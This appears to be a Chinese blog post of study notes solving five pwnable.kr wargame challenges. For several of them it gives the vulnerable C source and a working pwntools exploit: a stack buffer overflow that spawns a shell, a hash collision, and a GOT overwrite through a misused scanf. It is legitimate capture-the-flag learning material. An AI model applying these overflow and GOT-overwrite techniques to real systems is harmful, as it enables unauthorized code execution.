0%

pwn学习(持续更新)

写在前面:最近由于准备考试,博客已经好久不更新了,期末结束,最近刚开始学习pwn,作为学习笔记,也为了督促自己学习,把最近做的pwnable上的解题过程都放到blog上吧,水平很菜,大牛勿喷

目录

0x01 fd
0x02 collision
0x03 bof
0x04 flag
0x05 passcode

0x01 fd

ssh连入后,直接查看fd.c的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

google了下atoi是将字符串转为int;

再根据提示linux file IO

google到linux read()函数原型: ssize_t read(int fd, void *buf, size_t count)

第一个参数是file descriptor,

那么传入的参数就该是0x1234的字符串形式

直接上脚本

1
2
3
4
5
6
from pwn import *
pwn_ssh = ssh(host='pwnable.kr', user = 'fd', password='guest',port = 2222)
print pwn_ssh.connected()
sh = pwn_ssh.process(argv = ['fd','4660'],executable='./fd')
sh.sendline('LETMEWIN')
print sh.recvall()

0x02 collision

ssh连入后,查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

观察源码,很明显是将输入的字符转为int类型;然后相加最后使之等于hashcode(0x21DD09EC)。

一开始是想构造前16个字符均为\x00的;测试发现不可以;很不理解为什么;测试了一下发现\x09会被截断;于是乎,想法之将\x09除去;便利用0x21dd09ec和字符长度为20,先将0x21dd09ec除以五,但是有余数,最后一个字符再加上余数就行
直接上exp

1
2
3
4
5
6
7
#!/usr/bin/env python
# coding=utf-8

from pwn import *
ssh_connect = ssh(host= 'pwnable.kr',user='col',password = 'guest', port = 2222)
ssh_process = ssh_connect.process(argv = ['col','\xC8\xCE\xC5\x06' * 4 + '\xCC\xCE\xC5\x06'],executable='./col')
print ssh_process.recvall()

0x03 bof

先查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

查看汇编,观察func函数

由于gets函数的漏洞得到最后脚本为

1
2
3
4
5
6
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = remote('pwnable.kr',9000)
sh.sendline('A'*52 + p32(0xcafebabe))
sh.interactive()

拿到flag

0x04 flag


由题意,知道这是一个reverse,IDA载入发现upx壳的痕迹
upx脱壳

再次IDA载入,查找字符串,拿到flag

0x05 passcode

ssh 连入之后,查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

由于welcome函数和login函数是在main函数里的连续调用,所以共享ebp
用IDA载入程序


可以观察到ebp-70h与ebp-10h只相差十进制的96
而在welcome函数中name变量占用的地址长度为100
又在login函数中

1
scanf("%d", passcode1);

scanf函数,如果不加地址符,会向变量以在栈中位置的值为地址,写入数据
查看不同段的可读可写属性

可知got表是可写的
在if语句之前,在got表中的函数我选择了fflush函数,
将passcode1栈中写为fflush函数对应的地址,即0x804A004
继续运行,输入passcode1,为了直接运行到system函数处,直接将passcode1写为system函数运行的地方,即

又因为passcode1变量类型为int,将之转换为int类型数据
最终脚本为

1
2
3
4
5
6
7
8
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = ssh(host='pwnable.kr', user = 'passcode', password='guest',port = 2222)
exe=sh.process(executable="./passcode")
exe.sendline('A'*96 + p32(0x0804a004) + '134514135')
print exe.recvall()
sh.interactive()